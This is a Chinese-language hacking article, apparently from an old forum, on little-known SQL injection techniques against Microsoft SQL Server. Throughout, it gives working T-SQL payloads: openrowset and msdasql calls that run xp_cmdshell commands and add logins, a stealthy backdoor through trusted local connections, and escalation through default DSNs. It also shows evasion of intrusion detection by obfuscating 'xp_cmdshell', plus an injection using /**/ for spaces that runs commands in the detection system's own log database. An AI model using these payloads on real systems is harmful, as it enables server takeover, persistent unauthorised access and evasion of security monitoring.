注意那些容易被忽略的SQL注入技巧

1．关于Openrowset和Opendatasource

可能这个技巧早有人已经会了，就是利用openrowset发送本地命令。通常我们的用法是（包括MSDN的列子）如下：

select * from openrowset('sqloledb','myserver';'sa';'','select * from
            table')

可见（即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问，它必须跟在select后面，也就是说需要返回一个recordset 。

那么我们能不能利用它调用xp_cmdshell呢？答案是肯定的！

select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
            exec master.dbo.xp_cmdshel l ''dir c:\''')

那么如果我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何集合的，我们就不能再依靠fmtonly设置了，可以如下操作：

select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
            exec master.dbo.sp_addlogin Hectic')

2．关于Msdasql两次请求的问题

不知道大家有没有试过用msdasql连接远程数据库，当然这个api必须是sqlserver的管理员才可以调用，那么如下：

select * from openrowset('msdasql','driver={sql
            server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
            elect * from table1 select * from table2')

3．可怕的后门

以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些方法当然可行，但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵，比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令：

select * from openrowset('sqloledb','trusted_connection=yes;data
            source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

另外还有一个猜测，不知道大家有没有注意过windows默认附带的两个dsn，一个是localserver一个是msqi，这两个在建立的时候是本地管理员账号连接sqlserver的，如果对方的 sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，但是我们通过如下的命令：

select * from openrowset
            ('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
            master..xp_cmdshell ''dir c:\''')

应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了，这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接，而msdasql非管理员不让调用，所以我现在正在寻找guest调用msdasql 的方法。

如果有人知道这个bug如何突破，或有新的想法，我们可以一起讨论一下，这个发放如果能成功被guest利用，将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。

4．利用T-sql骗过Ids或攻击Ids

现在的Ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视，但是毕竟人工智能没有出现的今天，这种监视总是有种骗人的感觉。

先说说欺骗Ids

Ids既然监视xp_cmdshell关键字，那么我们可以这么做：

declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

这个代码相信大家都能看明白，还有xp_cmdshell作为一个store procedure在master库内有一个id号，固定的，我们也可以这么做：

假设这个id=988456

declare @a sysname select @a=name from sysobjects where id=988456
            exec @a 'dir c:\'

declare @a sysname select @a=name from sysobjects where id=988455 1
            exec @a 'dir c:\'

这种做法排列组合，ids根本不可能做的到完全监视。同理，sp_addlogin也可以这么做。

再说说攻击Ids

因为Ids数据量很大，日至通常备份到常规数据库，比如sql server。

如果用古老的recordset.addnew做法，会严重影响ids的性能，因为通过ado做t-sql请求，不但效率高，而且有一部分工作可以交给sql server 去做，通常程序会这么写：

insert table values ('日至内容'，...)

那么我们想想看，如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成：

insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir
            c:\' -- ')

这样，xp_cmdshell就可以在ids的数据库运行了。当然ids是一个嗅叹器，他会抓所有的报，而浏览器提交的时候会把空格变成 。因此， 会被提交到sql server，这样你的命令就无法执行了。 唯一的办法就是：

insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

用/**/代替空格做间隔符，这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句，可以破坏，备份ids的数据库到你的共享目录。

其实这种方法的原理和攻击asp是一样的，只是把空格变成了/**/ 。本来asp是select语句，那么用'就可以屏蔽。现在ids用insert语句，那么用')屏蔽。

好了，其他很多新的入侵语句大家可以自己慢慢想，最好的测试工具就是query analyzer了。